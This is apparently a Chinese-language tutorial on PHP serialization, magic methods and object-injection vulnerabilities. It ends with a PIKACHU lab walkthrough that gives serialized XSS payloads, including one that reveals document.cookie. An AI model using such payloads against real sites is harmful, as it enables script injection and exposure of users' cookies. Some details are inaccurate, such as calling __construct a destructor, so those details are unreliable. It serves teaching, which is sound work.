序列化是将变量转换为可保存或传输的字符串的过程,反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。
序列化:
serialize() 将对象转变成一个字符串便于之后的传递与使用。 序列化会保存对象所有的变量,但是不会保存对象的方法。
反序列化:
unserialize() 将序列化的结果恢复成对象。 反序列化一个对象,这个对象的类必须在反序列化之前定义。
例如:
<?php
class sss{
public $a;
public $b;
function __construct($a, $b){
$this->a = $a;
$this->b = $b;
}
}
$web = new sss('asd', 'zxc');
$ser_str = serialize($web);
echo $ser_str;
?>
输出的结果为:
O:3:"sss":2:{s:1:"a";s:3:"asd";s:1:"b";s:3:"zxc";}
在序列化后的结果中的字母标识为:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
在这个代码中运用到了 __construct()魔术方法
序列化魔术方法
construct 当一个对象创建时被调用,
destruct 当一个对象销毁时被调用,
toString 当一个对象被当作一个字符串被调用。
wakeup() 使用unserialize时触发
sleep() 使用serialize时触发
_call() 在对象上下文中调用不可访问的方法时触发
callStatic() 在静态上下文中调用不可访问的方法时触发
get() 用于从不可访问的属性读取数据
set() 用于将数据写入不可访问的属性
isset() 在不可访问的属性上调用isset()或empty()触发
unset() 在不可访问的属性上使用unset()时触发
toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
漏洞原理
PHP反序列化漏洞也叫PHP对象注入。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中。
实现
这里拿PIKACHU靶场一题来举例
这里给了一个例子
我们看看源码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
这里并没有出现什么危险函数
但construct析构函数中有个打印字符串的函数
我们可以利用XSS漏洞弹个窗
<?php
class S{
function __construct(){
$this->test='<script>alert("unserialize")</script>';
}
}
$web = new S();
$ser_str = serialize($web);
echo $ser_str;
?>
O:1:"S":1:{s:4:"test";s:37:"<script>alert("unserialize")</script>";}
或者弹个COOKIE
O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}